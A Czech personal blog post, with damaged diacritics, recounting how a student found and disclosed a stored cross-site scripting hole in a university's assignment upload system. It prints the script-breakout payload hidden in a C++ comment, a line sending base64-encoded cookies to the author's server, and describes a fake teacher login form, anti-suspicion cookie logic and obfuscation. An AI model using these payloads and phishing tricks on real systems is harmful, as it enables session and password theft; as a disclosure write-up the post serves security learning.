neděle 22. dubna 2012

Pro?? kr??st session, kdy?? m????eme kr??st cel?? hesla? Aneb XSS v Upload syst??mu ??VUT FEL

Stalo se u?? tradicí, ??e kdy?? se mám u??it, hledám místo toho bezpe??nostní díry nejr??zn??jších aplikací. Tento blogpost popisuje cestu k známce A na ??VUT FEL :-)

Vše za??alo, kdy?? jsem se p??ipravoval na zkoušku z pokro??ilé algoritmizace. Napadlo me, ??e kdy?? úlohy nahráváme do upload systém a posléze si m????eme zobrazit jejich zdrojový kód, tak zda není upload systém náchylný na cross site scripting. A taky ??e byl, jen ne na úpln?? první pohled.

Upload systém slou??í k automatickému ohodnocení úloh. Pou??íval jsem tento systém jen v p??edmetu Pokro??ilá algoritmizace, tak??e nevím jaké má další mo??nosti. V tomto p??edmetu se odevzdavaly úlohy v jazyce C++ a Java. Soubory projektu se zabalily do zip archivu a odeslaly na server. Ten archiv rozbalil, zkompiloval a spustil s ruznými vstupy. Nakonec porovnal výstup programu s referen??ním rešením a p??idelil p??íslušné body. Student v systému vidí pr??beh kompilace, výsledek jednotlivých test?? a, co je podstatné, m????e se také podívat na zdrojový kód odevzdané úlohy. Odevzdaná úloha se highlightuje podle typu souboru – tzn kód souboru cpp se obarví jako C++ a kód soubor?? s p??iponou java se obarví podle syntaxe Javy. Tato funkcionalita je p??ístupná i u??itel??m. Typický scéná?? vypadá tak, ??e student napíše vyu??ujícímu, ??e mu neco nefunguje a vyu??ující se podívá na výsledky test??, pop??. na zdrojový kód a studentovi se pokusí poradit.

Cíl je tedy jasný – injektovat javascriptový kód do stránky zobrazující zdrojový kód odevzdané úlohy a donutit n??jak vyu??ujícího, a?? se na zdrojový kód v systému podívá. Javascriptový kód se spoustí v jeho prohlí??e??i a zp??ístupní se tak cookies, kde je ulo??ena session, kterou chceme ukrást. S pomocí ukradené session bychom mohli vystupovat pod identitou u??itele. Má to však jeden há??ek, ba p??ímo hák, o kterém se zmíním pozd??ji.

M??j první pokus byl trapn?? jednoduše vlo??it do svého programu html tag <i> a zkusit si vypsat ??ást kódu kurzívou. Tento zp??sob se nechyt, na stránce se html tag normáln?? vypsal.

Napadlo me tedy odevzdat svou ulohu jako soubor html. A vida! Html tag se neoescapoval. Stránka je tedy 100 % zranitelná. Ted šlo jen o to zjistit, pro?? se v souborech .cpp escapuje.

Podíval jsem se do zdrojového kódu stránky zobrazující highlightovaný kód C++. Samotný C++ kód se nacházel uprost??ed tagu script a v sekci CDATA. Aby byl <i> tag brán jako sou??ást html kódu, je t??eba ukon??it sekci CDATA a script. Celý zdrojový kód byl ješt?? v DIVu s id „content“, který jsem tedy taky ukon??il. Následn?? jsem CDATA a script zase otev??el, abychom stránku nenarušili.

]]></script><i>Ahoj</i></div><script><![CDATA[

Sv??j odevzdávaný soubor jsem uploadoval a Ahoj se podle o??ekávání vypsalo kurzívou. Nelíbila se mi ješt?? jedna v??c. Takto odevzdaná úloha neprošla kompilátorem C++. P??idal jsem tedy sv??j škodlivý html kód do C++ komentá??e:

/*// Konec souboru /*

]]></script><i>Ahoj</i></div><script><![CDATA[

// */

Všimn??te si dvou otevírajících znak?? pro více??ádkový komentá??. Je to z toho d??vodu, ??e na stránce s kódem domácí úlohy se v??dy zobrazoval otevírací znak komentá??e. Aby to nevzbuzovalo podez??ení, kde je konec, spolehl jsem se na to, ??e /* a */ jsou podobné a kdy?? si posledního rádku vyu??ující všimne, bude brát druhý /* jako ukon??ovací znak pro komentá??. Ve skute??nosti se ale ukon??ení komentá??e nachází a?? za javascriptovým kódem.

Source_code

Nyní je ??as nahradit neškodnou kurzívu javascriptem, který krade session.

Cookies v javascriptu p??e??teme z document.cookie. Odeslání cookies z prohlí??e??e ob??ti jsem pou??il trik s new Image(). Na stránku se pokusíme javascriptem na??íst obrázek z url, které jako parametr dáme informace, které chceme odeslat.

new Image().src="http://ww.nuc.cz/steal_cookies.php?domain="+base64encode(document.domain)+"&won="+base64encode(document.cookie);

Cookies i doménu jsem zakódoval pomocí base64, aby se daly p??edat jako parametr php skriptu, který je ukládal do souboru.

A práv?? ted nará??íme na onen zásadní problém. Za prvé takto p??e??teme pouze cookies, která nemají p??íznak HTMLOnly. A za druhé session je ve všech trochu schopn??jších sereverech vázána také na IP adresu, z které se u??ivatel p??ihlásil. Tak??e bychom museli vystupovat pod stejnou ve??ejnou IP jako vyu??ující. Na ??VUT FEL jsou adresy ve??ejné, tak??e tudy cesta rozhodne nevedla.

Dostáváme se tak k titulku ??lánku – pro?? krást session, kdy?? m????eme krást celá hesla. Napadlo m?? toti??, ??e bych mohl zobrazit místo o??ekávané stránky se zdrojovým kódem falešný p??ihlašovací formulá??. Vyu??ující by ho nev??domky vyplnil a jeho p??ihlašovací údaje by se odeslaly na m??j server.

Fakeform_filled

Aby nebyl formulá?? tak snadno zjistitelný, ukládal jsem si vlastní cookie s informací o pr??b??hu p??edchozích otev??en&i
acute;. Pokud cookie neexistovala, znamenalo to, ??e ob???? se na stránku dostala poprvé. Pokud byla v cookie ulo??ena hodnota 1, znamenalo to, ??e ob???? na stránce u?? byla, ale nep??ihlásila se. To by mohlo znamenat podez??ení u??ivatele, tak??e jsem v takovém p??ípad?? falešný formulá?? zobrazoval jen v cca 20 % p??ípad??, aby systém budil zdání, ??e je n??co špatn??, ale není to mým kódem, proto??e ten se ob??as zobrazí správn??. A nakonec pokud byla hodnota mé cookie 2, znamenalo to, ??e vyu??ující nalet??l a p??es falešný formulá?? se p??ihlásil. V takovém p??ípad?? jsem zobrazil v??dy zdrojový kód domácí úlohy.

Fake_cookie_1

Samotný falešný formulá?? jsem lehce pozm??nil, aby obsahoval hlášku o neo??ekávané chyb?? a p??idal do svého zdrojového kódu. CSS ostylování jsem zajistil pomocí html atributu style=“...“, tak??e nebyl závislý na CSS souboru, který samoz??ejm?? stránka zobrazující úlohu nena??ítá. Po p??ihlášení p??esm??roval na stránku, kam se u??ivatel standardn?? po p??ihlášení dostane jakoby se nic ned??lo.

Úpln?? nakonec jsem pou??il obfuskátor, aby nebylo hned z??ejmé, co kód d??lá, a ješt?? jsem ho odenteroval 2000 ??ádek dol?? a n??kolik desítek mezer doprava, aby nebyl v html kódu hned k nalezení.

Source_of_page

Pak jsem vše p??edvedl cvi??ícímu, dostal pochvalu a nechal administrátory chybu opravit. Nemohu ale ??íct, ??e by byl problém 100 % odstran??n. Kdo ví, t??eba se mi to bude jednou hodit :-)

Žádné komentáře:

Okomentovat